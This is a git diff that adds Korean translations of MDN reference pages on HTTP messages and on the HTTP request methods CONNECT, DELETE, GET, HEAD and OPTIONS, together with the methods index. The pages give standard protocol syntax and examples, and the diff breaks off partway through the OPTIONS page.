+<p>웹 개발자, 또는 웹 마스터가 손수 HTTP 메시지를 텍스트로 작성하는 경우는 드뭅니다. 대신에 소프트웨어, 브라우저, 프록시, 또는 웹 서버가 그 일을 합니다. HTTP 메시지는 설정 파일(프록시 혹은 서버의 경우), API(브라우저의 경우), 혹은 다른 인터페이스를 통해 제공됩니다.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>HTTP/2의 이진 프레이밍 메커니즘(binary framing mechanism)은 사용 중인 API나 설정 파일 등을 변경하지 않아도 되도록 설계 되었기 때문에, 사용자가 보고 이해하기 쉽습니다.</p>
+
+<p>HTTP 요청과 응답의 구조는 서로 닮았으며, 그 구조는 다음과 같습니다.</p>
+
+<ol>
+ <li>시작 줄(start-line)에는 실행되어야 할 요청, 또은 요청 수행에 대한 성공 또는 실패가 기록되어 있습니다. 이 줄은 항상 한 줄로 끝납니다.</li>
+ <li>옵션으로 HTTP 헤더 세트가 들어갑니다. 여기에는 요청에 대한 설명, 혹은 메시지 본문에 대한 설명이 들어갑니다.</li>
+ <li>요청에 대한 모든 메타 정보가 전송되었음을 알리는 빈 줄(blank line)이 삽입됩니다.</li>
+ <li>요청과 관련된 내용(HTML 폼 콘텐츠 등)이 옵션으로 들어가거나, 응답과 관련된 문서(document)가 들어갑니다. 본문의 존재 유무 및 크기는 첫 줄과 HTTP 헤더에 명시됩니다.</li>
+</ol>
+
+<p>HTTP 메시지의 시작 줄과 HTTP 헤더를 묶어서 요청 <em>헤드(head)라고 부르며</em>, 이와 반대로 HTTP 메시지의 페이로드는 <em>본문(body)</em>이라고 합니다.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="HTTP_요청">HTTP 요청</h2>
+
+<h3 id="시작_줄">시작 줄</h3>
+
+<p>HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라이언트에서 전송하는 메시지입니다. 시작 줄은 다음과 같이 세 가지 요소로 이루어져 있습니다.</p>
+
+<ol>
+ <li>첫번째는 <em><a href="/en-US/docs/Web/HTTP/Methods">HTTP 메서드</a>로</em>, 영어 동사({{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}},{{HTTPMethod("POST")}}) 혹은 명사({{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}})를 사용해 서버가 수행해야 할 동작을 나타냅니다. 예를 들어, <code>GET</code>은 리소스를 클라이언트로 가져다 달라는 것을 뜻하며, <code>POST</code>는 데이터가 서버로 들어가야 함을 의미(리소스를 새로 만들거나 수정하기 위해, 또는 클라이언트로 돌려 보낼 임시 문서를 생성하기 위해)합니다.</li>
+ <li>두번째로 오는 요청 타겟은 주로 {{glossary("URL")}}, 또는 프로토콜, 포트, 도메인의 절대 경로로 나타낼 수도 있으며 이들은 요청 컨텍스트에 의해 특정지어 집니다. 요청 타겟 포맷은 HTTP 메소드에 따라 달라집니다. 포맷에는 다음과 같은 것들이 있습니다.
+  <ul>
+   <li>origin 형식: 끝에 <code>'?'</code>와 쿼리 문자열이 붙는 절대 경로입니다. 이는 가장 일반적인 형식이며, <code>GET</code>, <code>POST</code>, <code>HEAD</code>, <code>OPTIONS</code> 메서드와 함께 사용합니다.<br>
+    <code>POST / HTTP 1.1<br>
+    GET /background.png HTTP/1.0<br>
+    HEAD /test.html?query=alibaba HTTP/1.1<br>
+    OPTIONS /anypage.html HTTP/1.0</code></li>
+   <li><em>absolute 형식: 완전한 URL 형식입니다.</em> 프록시에 연결하는 경우 대부분 <code>GET</code>과 함께 사용됩니다.<br>
+    <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+   <li><em>authority 형식: </em>도메인 이름 및 옵션 포트(<code>':'</code>가 앞에 붙습니다)로 이루어진 URL의 authority component 입니다.​​​​ HTTP 터널을 구축하는 경우에만 <code>CONNECT</code>와 함께 사용할 수 있습니다.<br>
+    <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+   <li><em>asterisk 형식: </em><code>OPTIONS</code>와 함께 별표(<code>'*'</code>) 하나로 간단하게 서버 전체를 나타냅니다. ​​​​​<br>
+    <code>OPTIONS * HTTP/1.1</code></li>
+  </ul>
+ </li>
+ <li>마지막으로 ​​​​<em>HTTP 버전이 들어갑니다. 메시지의 남은</em> 구조를 결정하기 때문에, 응답 메시지에서 써야 할 HTTP 버전을 알려주는 역할을 합니다.</li>
+</ol>
+
+<h3 id="헤더">헤더</h3>
+
+<p>요청에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP 헤더의 기본 구조를 따릅니다. 대소문자 구분없는 문자열 다음에 콜론(<code>':'</code>)이 붙으며, 그 뒤에 오는 값은 헤더에 따라 달라집니다. 헤더는 값까지 포함해 한 줄로 구성되지만 꽤 길어질 수 있습니다.</p>
+
+<p>다양한 종류의 요청 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p>
+
+<ul>
+ <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li>
+ <li>Request 헤더: {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}와 같은 헤더는 요청의 내용을 좀 더 구체화 시키고({{HTTPHeader("Accept-Language")}}), 컨텍스를 제공하기도 하며({{HTTPHeader("Referer")}}), 조건에 따른 제약 사항을 가하기도 하면서({{HTTPHeader("If-None")}}) 요청 내용을 수정합니다.</li>
+ <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p>
+
+<h3 id="본문">본문</h3>
+
+<p>본문은 요청의 마지막 부분에 들어갑니다. 모든 요청에 본문이 들어가지는 않습니다. <code>GET</code>, <code>HEAD</code>, <code>DELETE</code> , <code>OPTIONS</code>처럼 리소스를 가져오는 요청은 보통 본문이 필요가 없습니다. 일부 요청은 업데이트를 하기 위해 서버에 데이터를 전송합니다. 보통 (HTML 폼 데이터를 포함하는) <code>POST</code> 요청일 경우에 그렇습니다.</p>
+
+<p>넓게 보면 본문은 두가지 종류로 나뉩니다.</p>
+
+<ul>
+ <li>단일-리소스 본문(single-resource bodies): 헤더 두 개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의된 단일 파일로 구성됩니다.</li>
+ <li>다중-리소스 본문(multiple-resource bodies): 멀티파트 본문으로 구성되는 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>에서는 파트마다 다른 정보를 지니게 됩니다. 보통 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>과 관련이 있습니다.</li>
+</ul>
+
+<h2 id="HTTP_응답">HTTP 응답</h2>
+
+<h3 id="상태_줄">상태 줄</h3>
+
+<p>HTTP 응답의 시작 줄은 <em>상태 줄(status line)</em>이라고 불리며, 다음과 같은 정보를 가지고 있습니다.</p>
+
+<ol>
+ <li><em>프로토콜 버전: </em>보통 <code>HTTP/1.1</code>입니다.</li>
+ <li>상태 코드: 요청의 성공 여부를 나타냅니다. {{HTTPStatus("200")}}, {{HTTPStatus("404")}} 혹은 {{HTTPStatus("302")}}입니다.</li>
+ <li>상태 텍스트: 짧고 간결하게 상태 코드에 대한 설명을 글로 나타내어 사람들이 HTTP 메시지를 이해할 때 도움이 됩니다.</li>
+</ol>
+
+<p>상태 줄은 일반적으로  <code>HTTP/1.1 404 Not Found.</code> 같이 생겼습니다.</p>
+
+<h3 id="헤더_2">헤더</h3>
+
+<p>응답에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 다른 헤더와 동일한 구조를 따릅니다. 대소문자를 구분하지 않는 문자열 다음에 콜론(<code>':'</code>)이 오며, 그 뒤에 오는 값은 구조가 헤더에 따라 달라집니다. 헤더는 값을 포함해 전체를 한 줄로 표시합니다.</p>
+
+<p>다양한 종류의 응답 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p>
+
+<ul>
+ <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li>
+ <li>Response 헤더: {{HTTPHeader("Vary")}}와 {{HTTPHeader("Accept-Ranges")}}와 같은 헤더는 상태 줄에 미처 들어가지 못했던 서버에 대한 추가 정보를 제공합니다.</li>
+ <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="본문_2">본문</h3>
+
+<p>본문은 응답의 마지막 부분에 들어갑니다. 모든 응답에 본문이 들어가지는 않습니다. {{HTTPStatus("201")}}, {{HTTPStatus("204")}}과 같은 상태 코드를 가진 응답에는 보통 본문이 없습니다.</p>
+
+<p>넓게 보면 본문은 세가지 종류로 나뉩니다.</p>
+
+<ul>
+ <li>이미 길이가 알려진 단일 파일로 구성된 단일-리소스 본문: 헤더 두개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의 합니다.</li>
+ <li>길이를 모르는 단일 파일로 구성된 단일-리소스 본문: {{HTTPHeader("Transfer-Encoding")}}가 <code>chunked</code>로 설정되어 있으며, 파일은 청크로 나뉘어 인코딩 되어 있습니다.</li>
+ <li>서로 다른 정보를 담고 있는 멀티파트로 이루어진 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>: 이 경우는 상대적으로 위의 두 경우에 비해 보기 힘듭니다.</li>
+</ul>
+
+<h2 id="HTTP2_프레임">HTTP/2 프레임</h2>
+
+<p>HTTP/1.x 메시지는 성능상의 결함을 몇가지 내포하고 있습니다.</p>
+
+<ul>
+ <li>본문은 압축이 되지만 헤더는 압축이 되지 않습니다.</li>
+ <li>연속된 메시지들은 비슷한 헤더 구조를 띄기 마련인데, 그럼에도 불구하고 메시지마다 반복되어 전송되고 있습니다.</li>
+ <li>다중전송(multiplexing)이 불가능합니다. 서버 하나에 연결을 여러개 열어야 합니다. 적극적인(warm) TCP 연결이 소극적인(cold) TCP 연결보다 효율적인데 말이죠.</li>
+</ul>
+
+<p>HTTP/2에서는 추가적인 단계가 도입되었습니다. HTTP/1.x 메시지를 프레임으로 나누어 스트림에 끼워 넣는 것입니다. 데이터와 헤더 프레임이 분리 되었기 때문에 헤더를 압축할 수 있습니다. 스트림 여러개를 하나로 묶을 수 있어서(이러한 과정을 멀티플렉싱이라 합니다), 기저에서 수행되는 TCP 연결이 좀 더 효율적이게 이루어집니다.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
+<p>이제 웹 개발자 입장에서는 HTTP 프레임을 매우 쉽게 살펴볼 수 있게 되었습니다. HTTP 프레임은 HTTP/2에서 추가된 단계이며, HTTP/1.1 메시지와 그 기저를 이루는 전송 프로토콜 사이를 메워주는 존재입니다. 그렇다고 해서 HTTP 프레임 때문에 개발자들이 API를 바꿔야 할 필요는 없습니다. 브라우저와 서버 둘 다 모두 HTTP 프레임을 받아 들일 수 있다면, HTTP/2가 활성화 된 후에 사용될 것입니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>HTTP 메시지는 HTTP에서 핵심적인 역할을 합니다. 메시지 구조는 단순하게 이루어져 있으며, 확장성도 매우 좋습니다. HTTP/2 프레이밍 메커니즘 덕분에 HTTP/1.x 구문과 기저가 되는 전송 프로토콜 사이에 새로운 중간 단계가 추가 되었습니다. 프로토콜을 자체적으로 수정하지 않고 이미 입증된 메커니즘을 바탕으로 이뤄낸 것입니다.</p>
diff --git a/files/ko/web/http/methods/connect/index.html b/files/ko/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..bf26d03d13
--- /dev/null
+++ b/files/ko/web/http/methods/connect/index.html
@@ -0,0 +1,86 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+tags:
+  - HTTP
+  - 요청 메소드
+  - 참고사항
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>CONNECT</code></strong> 메소드는 요청한 리소스에 대해 양방향 연결을 시작하는 메소드입니다. 이는 터널을 열기 위해서 사용될 수 있습니다.</p>
+
+<p>예를 들어, <code>CONNECT</code> 메소드는 {{Glossary("SSL")}} ({{Glossary("HTTPS")}})를 사용하는 웹사이트에 접속하는데 사용될 수 있습니다. 클라이언트는 원하는 목적지와의 TCP 연결을 HTTP 프록시 서버에 요청합니다. 그러면 서버는 클라이언트를 대신하여 연결의 생성을 진행합니다. 한번 서버에 의해 연결이 수립되면, 프록시 서버는 클라이언트에 오고가는 TCP 스트림을 계속해서 프록시합니다.</p>
+
+<p><code>CONNECT</code>는 홉바이홉 메소드입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>일부 프록시 서버는 터널을 생성하기 위해 인증을 요구할 수 있습니다. {{HTTPHeader("Proxy-Authorization")}} 헤더를 참고하세요.</p>
+
+<pre class="line-numbers  language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/delete/index.html b/files/ko/web/http/methods/delete/index.html
new file mode 100644
index 0000000000..7d27889eb9
--- /dev/null
+++ b/files/ko/web/http/methods/delete/index.html
@@ -0,0 +1,98 @@
+---
+title: DELETE
+slug: Web/HTTP/Methods/DELETE
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/DELETE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>DELETE</code> 메서드</strong>는 지정한 리소스를 삭제합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">요청에 본문 존재</th>
+   <td>May</td>
+  </tr>
+  <tr>
+   <th scope="row">성공 응답에 본문 존재</th>
+   <td>May</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>에서 사용 가능</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">DELETE /file.html HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요청">요청</h3>
+
+<pre class="notranslate">DELETE /file.html HTTP/1.1</pre>
+
+<h3 id="응답">응답</h3>
+
+<p><code>DELETE</code> 메서드를 성공적으로 적용한 후에 사용할 수 있는 응답 상태 코드는 다음과 같이 몇 가지가 있습니다.</p>
+
+<ul>
+ <li>아마도 명령을 성공적으로 수행할 것 같으나 아직은 실행하지 않은 경우 {{HTTPStatus("202")}} (<code>Accepted</code>) 상태 코드.</li>
+ <li>명령을 수행했고 더 이상 제공할 정보가 없는 경우 {{HTTPStatus("204")}} (<code>No Content</code>) 상태 코드.</li>
+ <li>명령을 수행했고 응답 메시지가 이후의 상태를 설명하는 경우 {{HTTPStatus("200")}} (<code>OK</code>) 상태 코드.</li>
+</ul>
+
+<pre class="notranslate">HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;h1&gt;File deleted.&lt;/h1&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "DELETE", "4.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성표는 구조화된 데이터로부터 생성되었습니다. 만약 그 데이터에 기여하고 싶으시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 참고하시고 요청을 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.methods.DELETE")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTTP 상태: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/get/index.html b/files/ko/web/http/methods/get/index.html
new file mode 100644
index 0000000000..0efa428125
--- /dev/null
+++ b/files/ko/web/http/methods/get/index.html
@@ -0,0 +1,75 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><strong>HTTP <code>GET</code> 메서드</strong>는 특정한 리소스를 가져오도록 요청합니다.</span> <code>GET</code> 요청은 데이터를 가져올 때만 사용해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">요청에 본문 존재</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">성공 응답에 본문 존재</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">HTML 양식에서 사용 가능</th>
+   <td>예</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{httpmethod("POST")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/head/index.html b/files/ko/web/http/methods/head/index.html
new file mode 100644
index 0000000000..b5222ce97a
--- /dev/null
+++ b/files/ko/web/http/methods/head/index.html
@@ -0,0 +1,77 @@
+---
+title: HEAD
+slug: Web/HTTP/Methods/HEAD
+tags:
+  - HTTP
+  - HTTP method
+  - Reference
+translation_of: Web/HTTP/Methods/HEAD
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>HEAD</code> 메서드</strong>는 특정 리소스를 {{httpmethod("GET")}} 메서드로 요청했을 때 돌아올 헤더를 요청합니다.</p>
+
+<p><code>HEAD</code> 메서드에 대한 응답은 본문을 가져선 안되며, 본문이 존재하더라도 무시해야 합니다. 그러나, {{httpheader("Content-Length")}}처럼 본문 콘텐츠를 설명하는 {{glossary("entity header", "개체 헤더")}}는 포함할 수 있습니다. 이 때, 개체 헤더는 비어있어야 하는 <code>HEAD</code>의 본문과는 관련이 없고, 대신 {{httpmethod("GET")}} 메서드로 동일한 리소스를 요청했을 때의 본문을 설명합니다.</p>
+
+<p><code>HEAD</code> 요청의 응답이 캐시했던 이전 {{httpmethod("GET")}} 메서드의 응답을 유효하지 않다고 표시할 경우, 새로운 <code>GET</code> 요청을 생성하지 않더라도 캐시를 무효화합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">요청에 본문 존재</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">성공 응답에 본문 존재</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">HTML 양식에서 사용 가능</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">HEAD /index.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "HEAD", "4.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.HEAD")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/index.html b/files/ko/web/http/methods/index.html
new file mode 100644
index 0000000000..5c3495fd85
--- /dev/null
+++ b/files/ko/web/http/methods/index.html
@@ -0,0 +1,73 @@
+---
+title: HTTP 요청 메서드
+slug: Web/HTTP/Methods
+tags:
+  - HTTP
+  - Methods
+  - Reference
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 <strong>요청 메서드</strong>를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부 기능은 메서드 집합 간에 서로 공유하기도 합니다. 이를테면 응답 메서드는 {{glossary("safe", "안전")}}하거나, {{glossary("cacheable", "캐시 가능")}}하거나, {{glossary("idempotent", "멱등성")}}을 가질 수 있습니다.</p>
+
+<dl>
+ <dt>{{httpmethod("GET")}}</dt>
+ <dd><code>GET</code> 메서드는 특정 리소스의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 오직 데이터를 받기만 합니다.</dd>
+ <dt>{{httpmethod("HEAD")}}</dt>
+ <dd><code>HEAD</code> 메서드는 <code>GET</code> 메서드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않습니다.</dd>
+ <dt>{{httpmethod("POST")}}</dt>
+ <dd><code>POST</code> 메서드는 특정 리소스에 엔티티를 제출할 때 쓰입니다. 이는 종종 서버의 상태의 변화나 부작용을 일으킵니다.</dd>
+ <dt>{{httpmethod("PUT")}}</dt>
+ <dd>
+ <p><code>PUT</code> 메서드는 목적 리소스 모든 현재 표시를 요청 payload로 바꿉니다.</p>
+ </dd>
+ <dt>{{httpmethod("DELETE")}}</dt>
+ <dd><code>DELETE</code> 메서드는 특정 리소스를 삭제합니다.</dd>
+ <dt>{{httpmethod("CONNECT")}}</dt>
+ <dd>
+ <p><code>CONNECT</code> 메서드는 목적 리소스로 식별되는 서버로의 터널을 맺습니다.</p>
+ </dd>
+ <dt>{{httpmethod("OPTIONS")}}</dt>
+ <dd><code>OPTIONS</code> 메서드는 목적 리소스의 통신을 설정하는 데 쓰입니다.</dd>
+ <dt>{{httpmethod("TRACE")}}</dt>
+ <dd>
+ <p><code>TRACE</code> 메서드는 목적 리소스의 경로를 따라 메시지 loop-back 테스트를 합니다.</p>
+ </dd>
+ <dt>{{httpmethod("PATCH")}}</dt>
+ <dd><code>PATCH</code> 메서드는 리소스의 부분만을 수정하는 데 쓰입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+   <th scope="col">해설</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Request methods", "4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Patch method", "2")}}</td>
+   <td>PATCH Method for HTTP</td>
+   <td>Specifies PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화 된 데이터로 생성 되었습니다. 호환성 데이터에 기여하려면, 이 파일에 Pull-Request 해주세요: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+</ul>
diff --git a/files/ko/web/http/methods/options/index.html b/files/ko/web/http/methods/options/index.html
new file mode 100644
index 0000000000..58bf6868e4
--- /dev/null
+++ b/files/ko/web/http/methods/options/index.html
@@ -0,0 +1,131 @@
+---
+title: OPTIONS
+slug: Web/HTTP/Methods/OPTIONS
+tags:
+  - HTTP
+  - 요청 메소드
+translation_of: Web/HTTP/Methods/OPTIONS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>OPTIONS</code> method</strong> 는 목표 리소스와의 통신 옵션을 설명하기 위해 사용됩니다. 클라이언트는 OPTIONS 메소드의 URL을 특정지을 수 있으며, aterisk(*) 를 통해 서버 전체를 선택할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in HTML forms</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+</pre>
+
